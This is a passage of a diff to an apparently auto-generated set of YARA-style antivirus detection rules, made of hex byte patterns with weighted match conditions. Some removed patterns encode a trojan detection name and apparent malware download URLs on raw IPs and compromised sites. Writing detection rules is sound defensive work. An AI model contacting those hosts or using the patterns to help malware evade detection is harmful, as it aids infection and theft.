1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_03_83 & 1)*1+(#a_01_84 & 1)*1+(#a_4a_85 & 1)*0+(#a_00_87 & 1)*97+(#a_00_88 & 1)*31277+(#a_01_89 & 1)*-28672+(#a_73_90 & 1)*29285+(#a_00_92 & 1)*105+(#a_69_93 & 1)*8295+(#a_6d_94 & 1)*27907+(#a_4d_95 & 1)*8307+(#a_00_96 & 1)*78+(#a_30_97 & 1)*11585+(#a_77_98 & 1)*28267+(#a_70_99 & 1)*29216+(#a_00_100 & 1)*2448+(#a_2d_101 & 1)*2305+(#a_01_102 & 1)*2816+(#a_30_103 & 1)*300+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1) >=1 } -rule _InfrastructureShared_20572{ +rule _InfrastructureShared_21796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 3e 00 21 " @@ -265883,7 +281392,7 @@ rule _InfrastructureShared_20572{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25089+(#a_01_2 & 1)*29735+(#a_61_3 & 1)*28233+(#a_30_4 & 1)*13618+(#a_64_5 & 1)*24833+(#a_01_6 & 1)*25697+(#a_43_7 & 1)*20481+(#a_45_8 & 1)*257+(#a_61_9 & 1)*28789+(#a_61_10 & 1)*400+(#a_64_11 & 1)*400+(#a_01_12 & 1)*-28556+(#a_90_13 & 1)*29295+(#a_5f_14 & 1)*29537+(#a_70_16 & 1)*15616+(#a_20_17 & 1)*29295+(#a_01_18 & 1)*25705+(#a_63_19 & 1)*26980+(#a_65_20 & 1)*25461+(#a_01_21 & 1)*-28556+(#a_65_22 & 1)*28530+(#a_65_23 & 1)*24425+(#a_70_24 & 1)*28271+(#a_6f_25 & 1)*28524+(#a_90_26 & 1)*11617+(#a_00_27 & 1)*32+(#a_65_28 & 1)*24429+(#a_00_30 & 1)*112+(#a_20_31 & 1)*28265+(#a_39_32 & 1)*12297+(#a_5a_33 & 1)*16762+(#a_2c_34 & 1)*2+(#a_09_35 & 1)*31277+(#a_09_36 & 1)*6544+(#a_2d_37 & 1)*31277+(#a_2c_38 & 1)*2+(#a_5a_39 & 1)*16697+(#a_5c_40 & 1)*-32501+(#a_6d_41 & 1)*27996+(#a_2d_42 & 1)*2305+(#a_00_44 & 1)*119+(#a_00_46 & 1)*32+(#a_00_47 & 1)*100+(#a_00_49 & 1)*105+(#a_7a_50 & 1)*24922+(#a_00_52 & 1)*116+(#a_8b_53 & 1)*0+(#a_00_54 & 1)*4232+(#a_ca_55 & 1)*257+(#a_90_56 & 1)*-1211+(#a_0f_57 & 1)*-30205+(#a_24_59 & 1)*-30205+(#a_0f_61 & 1)*2816) >=20 } -rule _InfrastructureShared_20573{ +rule _InfrastructureShared_21797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 1a 00 21 " @@ -265916,7 +281425,7 @@ rule _InfrastructureShared_20573{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_20_3 & 1)*29545+(#a_00_5 & 1)*32+(#a_01_6 & 1)*-28552+(#a_00_7 & 1)*14637+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1) >=1 } -rule _InfrastructureShared_20574{ +rule _InfrastructureShared_21798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 5f 00 21 " @@ -265946,100 +281455,76 @@ rule _InfrastructureShared_20574{ $a_01_25 = {0a 80 90 03 01 01 f1 f2 90 01 01 80 90 03 01 01 e9 ea 90 00 01 00 1c 03 0f 85 1f 00 00 00 90 01 0a 80 90 03 01 01 f1 f2 90 01 0b 80 90 03 01 01 e9 ea 90 00 01 00 1c 03 0f 85 15 00 00 00 90 01 0a 80 90 03 01 01 f1 f2 90 01 01 80 90 03 01 01 e9 ea 90 00 01 00 19 03 0f 85 15 00 00 00 80 90 03 01 01 f1 f2 90 01 01 80 90 03 01 01 e9 ea 90 00 01 00 19 03 0f 85 15 00 00 00 80 90 03 01 01 f1 f2 90 01 0b 80 90 03 01 01 e9 ea 90 00 01 00 } //0 $a_85_26 = {00 00 00 90 01 0a 80 90 03 01 01 f1 f2 90 01 } //796 $a_03_27 = {01 01 e9 ea 90 00 01 00 19 03 0f 85 1f 00 00 00 80 90 03 01 01 f1 f2 90 01 0b 80 90 03 01 01 e9 ea 90 00 01 00 12 03 8a 0c 10 80 f1 90 01 01 80 e9 90 01 01 88 0c 10 90 00 01 00 12 03 8a 0c 10 80 f1 90 01 01 80 c1 90 01 01 88 0c 10 90 00 01 00 17 03 8a 0c 01 8b 5d 90 01 01 80 f1 90 01 01 80 c1 90 01 01 88 0c 03 90 00 01 00 11 03 0f b6 45 ff 83 c0 90 01 01 88 45 ff 8b 45 f4 90 00 01 00 16 03 0f b6 55 ff 83 f2 90 01 01 81 c2 90 01 } //-32757 - $a_90_29 = {01 00 17 03 0f b6 4d ff 83 c1 90 01 01 88 4d ff 8b 4d 90 01 01 85 c9 0f 84 90 00 01 00 18 03 8a 4d ff 8b 5d 90 01 01 80 c1 90 01 01 88 0b 8b 4d 90 01 01 85 c9 90 00 01 00 11 03 8a 4d ff 8b 55 90 01 01 80 c1 90 01 01 88 0a 90 00 01 00 1b 03 8a 4d ff 8b 90 03 01 01 55 7d 90 01 01 80 e9 90 01 01 88 90 03 01 01 0a 0f 90 00 01 00 0e 03 0f b6 45 ff 83 c0 90 01 01 88 45 fd 90 00 01 00 11 03 0f b6 44 24 90 01 01 83 c0 90 01 01 88 44 24 90 00 00 00 78 ac 08 00 0a 00 0a 00 1e 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 48 30 31 21 4d 54 42 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 37 00 31 00 2e 00 30 00 2e 00 32 00 30 00 30 00 2f 00 6d 00 72 00 63 00 68 00 65 00 } //21896 - $a_00_30 = {2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 38 00 33 00 2e 00 31 00 31 00 38 00 2e 00 33 00 30 00 2f 00 54 00 48 00 41 00 4e 00 4f 00 53 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 62 00 69 00 6e 00 2e 00 6e 00 65 } //110 - $a_00_32 = {76 00 61 00 6f 00 62 00 61 00 76 00 79 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 62 00 69 00 6e 00 2e 00 6e 00 65 00 74 00 2f 00 41 00 77 00 70 00 7a 00 65 00 7a 00 68 00 6f 00 70 00 6c 00 2f 00 0a 00 30 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 31 00 33 00 2e 00 31 00 39 00 } //84 - $a_00_33 = {34 00 31 00 2e 00 33 00 33 00 2f 00 72 00 71 00 2f 00 0a 00 60 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 65 00 } //57 - $a_00_34 = {6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 0a 00 6a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 65 00 72 00 65 } //114 - $a_00_36 = {70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 42 00 61 00 73 00 65 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 2f 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c 00 69 00 6b 00 65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 } //101 - $a_00_37 = {78 00 79 00 7a 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c } //106 - $a_00_39 = {69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 64 00 61 00 74 00 90 00 0a 00 45 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6e 00 65 00 78 00 6f 00 70 00 72 00 6f 00 64 00 75 00 63 00 63 00 69 00 6f 00 6e 00 65 00 73 00 2e 00 63 00 6c 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a 00 36 01 68 } //101 - $a_00_41 = {3a 00 2f 00 2f 00 72 00 65 00 6d 00 69 00 73 00 61 00 74 00 2e 00 63 00 6f 00 6d 00 2e 00 75 00 79 00 2f 00 63 00 6c 00 69 00 2f 00 0a 00 36 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 37 00 2e 00 31 00 35 00 30 00 2e 00 31 00 39 00 2e 00 31 00 34 00 31 00 2f 00 73 00 74 00 75 00 62 00 2f 00 0a 00 68 01 68 00 74 00 74 00 70 00 73 } //112 - $a_00_43 = {69 00 6e 00 76 00 65 00 73 00 74 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 5f 00 64 00 6f 00 6f 00 72 00 73 00 2f 00 69 00 6d 00 67 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 } //47 - $a_00_45 = {35 00 2e 00 31 00 32 00 36 00 2e 00 32 00 30 00 39 00 2e 00 35 00 37 00 2f 00 64 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2f 00 0a 00 70 01 68 00 74 00 74 00 } //47 - $a_00_46 = {3a 00 2f 00 2f 00 69 00 6e 00 76 00 65 00 73 00 74 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6e 00 73 00 75 00 72 00 61 00 6e 00 63 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 73 00 73 00 75 00 65 00 6e 00 63 00 65 00 2f 00 6c 00 69 00 74 00 65 00 73 00 6f 00 6c 00 69 00 64 00 43 00 68 00 61 00 2f 00 0a 00 38 01 68 00 74 00 74 00 70 00 3a } //112 - $a_00_48 = {34 00 2e 00 31 00 39 00 34 00 2e 00 31 00 34 00 33 00 2e 00 33 00 39 00 2f 00 62 00 6f 00 6f 00 6b 00 73 00 2f 00 0a 00 4c 01 68 00 74 00 74 00 } //49 - $a_00_49 = {3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 61 00 64 00 74 00 74 00 65 00 6d 00 70 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 2f 00 4f 00 66 00 41 00 53 00 5a 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 39 00 32 00 2e 00 32 00 35 00 34 00 2e 00 31 00 37 00 38 00 2f 00 73 00 61 } //112 - $a_00_51 = {65 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 39 00 36 00 2e 00 31 00 37 00 32 00 2e 00 31 00 36 00 36 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 } //105 - $a_00_52 = {63 00 6f 00 6d 00 2f 00 69 00 6d 00 67 00 2f 00 0a 00 42 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 } //115 - $a_00_53 = {6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 72 00 76 00 65 00 78 00 2f 00 0a 00 40 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 61 00 6e 00 65 00 6c } //99 - $a_68_55 = {74 } //14848 t - $a_00_57 = {2f 00 2f 00 67 00 65 00 6f 00 63 00 73 00 2e 00 6d 00 78 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 0a 00 4c 01 68 00 74 00 74 00 70 00 } //115 - $a_00_58 = {2f 00 2f 00 70 00 6c 00 61 00 79 00 73 00 74 00 6f 00 72 00 65 00 6d 00 65 00 74 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 } //115 //playstoremeta.com/wp-includ - $a_00_59 = {2f 00 0a 00 38 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 72 00 6b 00 61 00 73 00 65 00 72 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 75 00 75 00 72 00 65 00 77 00 2f 00 0a 00 34 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 37 00 32 00 2e 00 35 00 37 00 2e 00 31 00 32 00 30 00 2f 00 54 00 47 00 49 00 46 } //101 - $a_68_61 = {74 } //15872 t - $a_00_63 = {2f 00 2f 00 77 00 77 00 77 00 2e 00 6f 00 6c 00 65 00 6f 00 6e 00 69 00 64 00 61 00 73 00 2e 00 67 00 72 00 2f 00 65 00 70 00 73 00 69 00 6e 00 2f 00 0a 00 64 01 68 00 74 00 } //115 - $a_00_64 = {73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6e 00 65 00 77 00 2e 00 65 00 76 00 65 00 6e 00 74 00 61 00 77 00 61 00 72 00 64 00 73 00 72 00 75 00 73 00 73 00 69 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 0a 00 54 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 64 00 } //116 - $a_00_65 = {36 00 38 00 39 00 39 00 2e 00 79 00 64 00 6e 00 73 00 2e 00 65 00 75 00 2f 00 31 00 2f 00 31 00 32 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 } //114 - $a_00_67 = {64 00 73 00 2f 00 0a 00 30 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 32 00 32 00 33 00 2e 00 33 00 2e 00 31 00 36 00 37 00 2f 00 63 00 69 00 72 00 2f 00 00 00 78 ca 08 00 0a 00 0a 00 49 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 } //111 - $a_61_68 = {00 01 00 26 01 43 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 69 6d 70 6c 69 63 69 74 20 63 6c 6f 73 75 72 65 20 69 6e 20 41 4f 54 21 01 00 2a 01 43 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 73 6e 61 70 73 68 6f 74 73 20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 25 01 25 73 3a 20 43 61 } //29541 - $a_74_69 = {63 6f 6d 70 69 6c 65 20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 36 01 54 68 69 73 20 56 4d 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 6f 75 74 20 73 75 70 70 6f 72 74 20 66 6f 72 20 41 4f 54 20 63 6f 6d 70 69 6c 61 74 69 6f 6e 2e 01 00 35 01 4a 49 54 20 61 70 70 20 73 6e 61 70 73 68 6f 74 73 20 63 61 6e 6e 6f } //28270 - $a_65_70 = {74 61 6b 65 6e 20 66 72 6f 6d 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 01 00 2d 01 4e 6f 20 6f 62 66 75 73 63 61 74 69 6f 6e 20 6d 61 70 20 74 6f 20 73 61 76 65 20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 35 01 25 73 3a 20 41 6c 6c 20 63 6c 61 73 73 65 73 20 61 72 65 20 } //8308 - $a_65_71 = {64 79 20 66 69 6e 61 6c 69 7a 65 64 20 69 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 0f 01 44 61 72 74 5f 50 72 65 63 6f 6d 70 69 6c 65 01 00 13 01 44 61 72 74 5f 50 72 65 70 61 72 65 54 6f 41 62 6f 72 74 01 00 13 01 44 61 72 74 5f 50 72 6f 70 61 67 61 74 65 45 72 72 6f 72 01 00 15 01 44 61 72 74 5f 52 65 54 68 72 6f 77 45 78 63 65 70 } //27745 - $a_6e_72 = {00 18 01 44 61 72 74 5f 52 65 63 6f 72 64 54 69 6d 65 6c 69 6e 65 45 76 65 6e 74 01 00 21 01 44 61 72 74 5f 52 65 67 69 73 74 65 72 48 65 61 70 53 61 6d 70 6c 69 6e 67 43 61 6c 6c 62 61 63 6b 01 00 2a 01 44 61 72 74 5f 52 65 67 69 73 74 65 72 49 73 6f 6c 61 74 65 53 65 72 76 69 63 65 52 65 71 75 65 73 74 43 61 6c 6c 62 61 63 6b 01 } //26996 - $a_44_73 = {72 } //9984 r - $a_65_74 = {69 73 74 65 72 52 6f 6f 74 53 65 72 76 69 63 65 52 65 71 75 65 73 74 43 61 6c 6c 62 61 63 6b 01 00 1f 01 44 61 72 74 5f 52 65 70 6f 72 74 53 75 72 76 69 76 69 6e 67 41 6c 6c 6f 63 61 74 69 6f 6e 73 01 00 12 01 44 61 72 74 5f 53 63 6f 70 65 41 6c } //24436 - $a_61_75 = {65 01 00 12 01 44 61 72 74 5f 53 65 6e 64 50 6f 72 74 47 65 74 49 64 01 00 19 01 44 61 72 74 5f 53 65 72 76 69 63 65 53 65 6e 64 44 61 74 61 45 76 65 6e 74 01 00 1a 01 44 61 72 74 5f 53 65 74 42 6f 6f 6c 65 61 6e 52 65 74 75 72 6e 56 61 6c 75 65 01 00 16 01 44 61 72 74 5f 53 65 74 43 75 72 72 65 } //28524 - $a_73_76 = {72 54 61 67 01 00 20 01 44 61 72 74 5f 53 65 74 44 61 72 74 4c 69 62 72 61 72 79 53 6f 75 72 63 65 73 4b 65 72 6e 65 6c 01 00 1b 01 44 61 72 74 5f 53 65 74 44 65 66 65 72 72 65 64 4c 6f 61 64 48 61 6e 64 6c 65 72 01 00 19 01 44 61 72 74 5f 53 65 74 44 6f } //29806 - $a_65_77 = {65 74 75 72 6e 56 61 6c 75 65 01 00 27 01 44 61 72 74 5f 53 65 74 44 77 61 72 66 53 74 61 63 6b 54 72 61 63 65 46 6f 6f 74 6e 6f 74 65 43 61 6c 6c 62 61 63 6b 01 00 23 01 44 61 72 74 5f 53 65 74 45 6d 62 65 64 64 65 72 49 6e 66 6f 72 6d 61 74 69 6f 6e 43 61 6c 6c 62 61 63 6b 01 00 1f 01 44 61 72 74 5f 53 65 74 45 6e 61 62 } //25205 - $a_54_78 = {6d 65 6c 69 6e 65 43 61 74 65 67 6f 72 79 01 00 1b 01 44 61 72 74 5f 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 43 61 6c 6c 62 61 63 6b 01 00 19 01 44 61 72 74 5f 53 65 74 46 66 69 4e 61 74 69 76 65 52 65 73 6f 6c 76 65 72 01 00 1c 01 44 61 72 74 5f 53 65 74 46 69 6c 65 4d 6f 64 69 66 69 65 64 43 61 } //25964 - $a_61_79 = {6b 01 00 1a 01 44 61 72 74 5f 53 65 74 48 65 61 70 53 61 6d 70 6c 69 6e 67 50 65 72 69 6f 64 01 00 1a 01 44 61 72 74 5f 53 65 74 49 6e 74 65 67 65 72 52 65 74 75 72 6e 56 61 6c 75 65 01 00 19 01 44 61 72 74 5f 53 65 74 4c 69 62 72 61 72 79 54 61 67 48 61 6e 64 6c 65 72 01 00 1d 01 44 61 72 74 } //27756 - $a_74_80 = {65 73 73 61 67 65 4e 6f 74 69 66 79 43 61 6c 6c 62 61 63 6b 01 00 1b 01 44 61 72 74 5f 53 65 74 4e 61 74 69 76 65 49 6e 73 74 61 6e 63 65 46 69 65 6c 64 01 00 16 01 44 61 72 74 5f 53 65 74 4e 61 74 69 76 65 52 65 73 6f 6c 76 65 72 01 00 14 01 44 61 72 74 5f 53 65 74 50 61 75 73 65 64 4f 6e 45 78 69 74 } //21343 - $a_01_81 = {44 61 72 74 5f 53 65 74 50 61 75 73 65 64 4f 6e 53 74 61 72 74 } //1 Dart_SetPausedOnStart - $a_01_82 = {44 61 72 74 5f 53 65 74 50 65 72 66 6f 72 6d 61 6e 63 65 4d 6f 64 65 } //1 Dart_SetPerformanceMode - $a_01_83 = {44 61 72 74 5f 53 65 74 50 65 72 73 69 73 74 65 6e 74 48 61 6e 64 6c 65 } //1 Dart_SetPersistentHandle - $a_01_84 = {44 61 72 74 5f 53 65 74 52 65 74 75 72 6e 56 61 6c 75 65 } //1 Dart_SetReturnValue - $a_01_85 = {44 61 72 74 5f 53 65 74 52 6f 6f 74 4c 69 62 72 61 72 79 } //1 Dart_SetRootLibrary - $a_01_86 = {44 61 72 74 5f 53 65 74 53 65 72 76 69 63 65 53 74 72 65 61 6d 43 61 6c 6c 62 61 63 6b 73 } //1 Dart_SetServiceStreamCallbacks - $a_01_87 = {44 61 72 74 5f 53 65 74 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 45 78 69 74 } //1 Dart_SetShouldPauseOnExit - $a_01_88 = {44 61 72 74 5f 53 65 74 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 53 74 61 72 74 } //1 Dart_SetShouldPauseOnStart - $a_01_89 = {44 61 72 74 5f 53 65 74 53 74 69 63 6b 79 45 72 72 6f 72 } //1 Dart_SetStickyError - $a_01_90 = {44 61 72 74 5f 53 65 74 54 68 72 65 61 64 4e 61 6d 65 } //1 Dart_SetThreadName - $a_01_91 = {44 61 72 74 5f 53 65 74 54 69 6d 65 6c 69 6e 65 52 65 63 6f 72 64 65 72 43 61 6c 6c 62 61 63 6b } //1 Dart_SetTimelineRecorderCallback - $a_01_92 = {44 61 72 74 5f 53 65 74 56 4d 46 6c 61 67 73 } //1 Dart_SetVMFlags - $a_01_93 = {44 61 72 74 5f 53 65 74 57 65 61 6b 48 61 6e 64 6c 65 52 65 74 75 72 6e 56 61 6c 75 65 } //1 Dart_SetWeakHandleReturnValue - $a_01_94 = {44 61 72 74 5f 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 45 78 69 74 } //1 Dart_ShouldPauseOnExit + $a_90_29 = {01 00 17 03 0f b6 4d ff 83 c1 90 01 01 88 4d ff 8b 4d 90 01 01 85 c9 0f 84 90 00 01 00 18 03 8a 4d ff 8b 5d 90 01 01 80 c1 90 01 01 88 0b 8b 4d 90 01 01 85 c9 90 00 01 00 11 03 8a 4d ff 8b 55 90 01 01 80 c1 90 01 01 88 0a 90 00 01 00 1b 03 8a 4d ff 8b 90 03 01 01 55 7d 90 01 01 80 e9 90 01 01 88 90 03 01 01 0a 0f 90 00 01 00 0e 03 0f b6 45 ff 83 c0 90 01 01 88 45 fd 90 00 01 00 11 03 0f b6 44 24 90 01 01 83 c0 90 01 01 88 44 24 90 00 00 00 78 ca 08 00 0a 00 0a 00 49 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 26 01 43 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 69 6d 70 6c 69 63 69 74 20 63 6c 6f 73 75 72 65 20 69 6e 20 41 4f 54 21 01 00 2a 01 43 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 73 6e 61 70 } //21896 + $a_74_30 = {20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 25 01 25 73 3a 20 43 61 6e 6e 6f 74 20 63 6f 6d 70 69 6c 65 20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 36 01 54 68 69 73 20 56 4d 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 6f 75 74 20 73 75 70 70 6f 72 74 20 66 6f 72 20 41 4f 54 20 63 6f 6d 70 69 } //26739 + $a_69_31 = {6e 2e 01 00 35 01 4a 49 54 20 61 70 70 20 73 6e 61 70 73 68 6f 74 73 20 63 61 6e 6e 6f 74 20 62 65 20 74 61 6b 65 6e 20 66 72 6f 6d 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 01 00 2d 01 4e 6f 20 6f 62 66 75 73 63 61 74 69 6f 6e 20 6d 61 70 20 74 6f 20 73 61 76 65 20 6f 6e 20 61 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 35 01 25 73 3a 20 } //24940 + $a_20_32 = {6c 61 73 73 65 73 20 61 72 65 20 61 6c 72 65 61 64 79 20 66 69 6e 61 6c 69 7a 65 64 20 69 6e 20 41 4f 54 20 72 75 6e 74 69 6d 65 2e 01 00 0f 01 44 61 72 74 5f 50 72 65 63 6f 6d 70 69 6c 65 01 00 13 01 44 61 72 74 5f 50 72 65 70 61 72 65 54 6f 41 62 6f 72 74 01 00 13 01 44 61 72 74 5f 50 72 6f 70 61 67 61 74 65 45 72 72 6f } //27713 + $a_74_34 = {52 65 54 68 72 6f 77 45 78 63 65 70 74 69 6f 6e 01 00 18 01 44 61 72 74 5f 52 65 63 6f 72 64 54 69 6d 65 6c 69 6e 65 45 76 65 6e 74 01 00 21 01 44 61 72 74 5f 52 65 67 69 73 74 65 72 48 65 61 70 53 61 6d 70 6c 69 6e 67 43 61 6c 6c 62 61 63 6b 01 00 2a 01 44 61 72 74 5f 52 65 67 69 73 74 65 72 49 73 6f 6c 61 74 65 53 65 72 76 69 63 65 52 65 } //24900 + $a_73_35 = {43 61 6c 6c 62 61 63 6b 01 00 27 01 44 61 72 74 5f 52 65 67 69 73 74 65 72 52 6f 6f 74 53 65 72 76 69 63 65 52 65 71 75 65 73 74 43 61 6c 6c 62 61 63 6b 01 00 1f 01 44 61 72 74 5f 52 65 70 6f 72 74 53 75 72 76 69 76 69 6e 67 41 6c 6c 6f 63 61 74 69 6f 6e 73 01 00 12 01 44 61 72 74 5f 53 63 6f 70 65 41 } //30065 + $a_63_36 = {74 65 01 00 12 01 44 61 72 74 5f 53 65 6e 64 50 6f 72 74 47 65 74 49 64 01 00 19 01 44 61 72 74 5f 53 65 72 76 69 63 65 53 65 6e 64 44 61 74 61 45 76 65 6e 74 01 00 1a 01 44 61 72 74 5f 53 65 74 42 6f 6f 6c 65 61 6e 52 65 74 75 72 6e 56 61 6c 75 65 01 00 16 01 44 61 72 74 5f 53 65 74 43 75 72 72 65 6e 74 55 73 65 72 54 61 67 01 00 } //27756 + $a_61_37 = {74 5f 53 65 74 44 61 72 74 4c 69 62 72 61 72 79 53 6f 75 72 63 65 73 4b 65 72 6e 65 6c 01 00 1b 01 44 61 72 74 5f 53 65 74 44 65 66 65 72 72 65 64 4c 6f 61 64 48 61 6e 64 6c 65 72 01 00 19 01 44 61 72 74 } //288 + $a_74_38 = {6f 75 62 6c 65 52 65 74 75 72 6e 56 61 6c 75 65 01 00 27 01 44 61 72 74 5f 53 65 74 44 77 61 72 66 53 74 61 63 6b 54 72 61 63 65 46 6f 6f 74 6e 6f 74 65 43 61 6c 6c 62 61 63 6b 01 00 23 01 44 61 72 74 5f 53 65 74 45 6d 62 65 64 64 65 72 49 6e 66 6f 72 6d 61 74 69 6f 6e 43 61 6c 6c 62 61 63 6b 01 00 1f } //21343 + $a_72_39 = {5f 53 65 74 45 6e 61 62 6c 65 64 54 69 6d 65 6c 69 6e 65 43 61 74 65 67 6f 72 79 01 00 1b 01 44 61 72 74 5f 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 43 61 6c 6c 62 61 63 6b 01 00 19 01 44 61 72 74 5f 53 65 74 46 66 69 4e 61 74 69 76 65 52 65 73 6f 6c 76 65 72 01 00 1c 01 44 61 72 74 5f 53 } //17409 + $a_69_40 = {65 4d 6f 64 69 66 69 65 64 43 61 6c 6c 62 61 63 